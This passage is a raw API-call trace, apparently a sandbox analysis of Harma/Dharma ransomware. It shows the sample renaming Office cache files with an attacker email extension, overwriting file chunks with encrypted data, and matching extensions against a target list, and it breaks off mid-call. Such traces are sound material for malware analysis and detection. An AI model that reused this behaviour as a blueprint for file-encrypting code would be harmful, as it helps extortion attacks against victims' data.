dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.506] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=2517504) returned 1 [0055.506] CloseHandle (hObject=0x200) returned 1 [0055.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0055.506] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.506] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.550] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.550] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0055.550] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.551] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.583] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.583] ReadFile (in: hFile=0x200, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.596] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.596] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.596] ReadFile (in: hFile=0x200, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.624] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.624] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.879] SetEndOfFile (hFile=0x200) returned 1 [0055.879] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0055.879] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.879] WriteFile (in: hFile=0x200, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.881] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.881] WriteFile (in: hFile=0x200, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.889] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0055.890] WriteFile (in: hFile=0x200, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.893] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0055.893] CloseHandle (hObject=0x200) returned 1 [0055.893] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString=".doc") returned 4 [0055.894] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.894] lstrlenW (lpString=".docx") returned 5 [0055.894] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.894] lstrlenW (lpString=".pdf") returned 4 [0055.894] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.894] lstrlenW (lpString=".xls") returned 4 [0055.894] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.894] lstrlenW (lpString=".xlsx") returned 5 [0055.894] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.894] lstrlenW (lpString=".ppt") returned 4 [0055.894] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString=".zip") returned 4 [0055.894] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.894] lstrlenW (lpString=".rar") returned 4 [0055.894] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.894] lstrlenW (lpString=".bz2") returned 4 [0055.894] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.894] lstrlenW (lpString=".7z") returned 3 [0055.894] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString=".dbf") returned 4 [0055.894] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString=".1cd") returned 4 [0055.894] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.894] lstrlenW (lpString=".jpg") returned 4 [0055.894] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString=".doc") returned 4 [0055.895] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.895] lstrlenW (lpString=".docx") returned 5 [0055.895] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.895] lstrlenW (lpString=".pdf") returned 4 [0055.895] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.895] lstrlenW (lpString=".xls") returned 4 [0055.895] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.895] lstrlenW (lpString=".xlsx") returned 5 [0055.895] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.895] lstrlenW (lpString=".ppt") returned 4 [0055.895] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString=".zip") returned 4 [0055.895] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.895] lstrlenW (lpString=".rar") returned 4 [0055.895] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.895] lstrlenW (lpString=".bz2") returned 4 [0055.895] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.895] lstrlenW (lpString=".7z") returned 3 [0055.895] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString=".dbf") returned 4 [0055.895] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString=".1cd") returned 4 [0055.895] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.895] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0055.895] lstrlenW (lpString=".jpg") returned 4 [0055.895] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.896] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0055.896] lstrlenW (lpString="osetup.dll") returned 10 [0055.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.896] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=7378792) returned 1 [0055.896] CloseHandle (hObject=0x200) returned 1 [0055.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0055.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.896] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.897] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0055.897] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0055.897] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.897] ReadFile (in: hFile=0x200, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.901] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.901] ReadFile (in: hFile=0x200, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.907] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.907] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0055.907] ReadFile (in: hFile=0x200, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0056.179] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.179] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0056.524] SetEndOfFile (hFile=0x200) returned 1 [0056.597] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f33178 [0056.598] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0056.598] WriteFile (in: hFile=0x200, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.599] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0056.599] WriteFile (in: hFile=0x200, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.601] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0056.601] WriteFile (in: hFile=0x200, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0056.603] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f33178 | out: hHeap=0x5a0000) returned 1 [0056.603] CloseHandle (hObject=0x200) returned 1 [0056.603] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0056.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.603] lstrlenW (lpString=".doc") returned 4 [0056.604] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".docx") returned 5 [0056.604] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0056.604] lstrlenW (lpString=".pdf") returned 4 [0056.604] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".xls") returned 4 [0056.604] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".xlsx") returned 5 [0056.604] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0056.604] lstrlenW (lpString=".ppt") returned 4 [0056.604] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.604] lstrlenW (lpString=".zip") returned 4 [0056.604] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".rar") returned 4 [0056.604] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.604] lstrlenW (lpString=".bz2") returned 4 [0056.604] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.605] lstrlenW (lpString=".7z") returned 3 [0056.605] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.605] lstrlenW (lpString=".dbf") returned 4 [0056.605] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.605] lstrlenW (lpString=".1cd") returned 4 [0056.605] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.605] lstrlenW (lpString=".jpg") returned 4 [0056.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.605] lstrlenW (lpString=".doc") returned 4 [0056.605] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.605] lstrlenW (lpString=".docx") returned 5 [0056.605] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0056.605] lstrlenW (lpString=".pdf") returned 4 [0056.605] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.606] lstrlenW (lpString=".xls") returned 4 [0056.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.606] lstrlenW (lpString=".xlsx") returned 5 [0056.606] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0056.606] lstrlenW (lpString=".ppt") returned 4 [0056.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.606] lstrlenW (lpString=".zip") returned 4 [0056.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.606] lstrlenW (lpString=".rar") returned 4 [0056.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.606] lstrlenW (lpString=".bz2") returned 4 [0056.606] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.606] lstrlenW (lpString=".7z") returned 3 [0056.606] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.606] lstrlenW (lpString=".dbf") returned 4 [0056.606] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.606] lstrlenW (lpString=".1cd") returned 4 [0056.607] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.607] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0056.607] lstrlenW (lpString=".jpg") returned 4 [0056.607] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.607] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0056.607] lstrlenW (lpString="ProPrWW.cab") returned 11 [0056.607] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0058.166] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=177720283) returned 1 [0058.166] CloseHandle (hObject=0x1d0) returned 1 [0058.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0058.166] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.167] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0058.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0058.167] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0058.168] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0058.168] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.174] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0058.176] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.178] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.179] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0058.179] ReadFile (in: hFile=0x1d0, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.194] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0058.194] WriteFile (in: hFile=0x1d0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0058.213] SetEndOfFile (hFile=0x1d0) returned 1 [0058.213] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f33178 [0059.147] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0059.147] WriteFile (in: hFile=0x1d0, lpBuffer=0x3f33178*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33178*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.149] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: 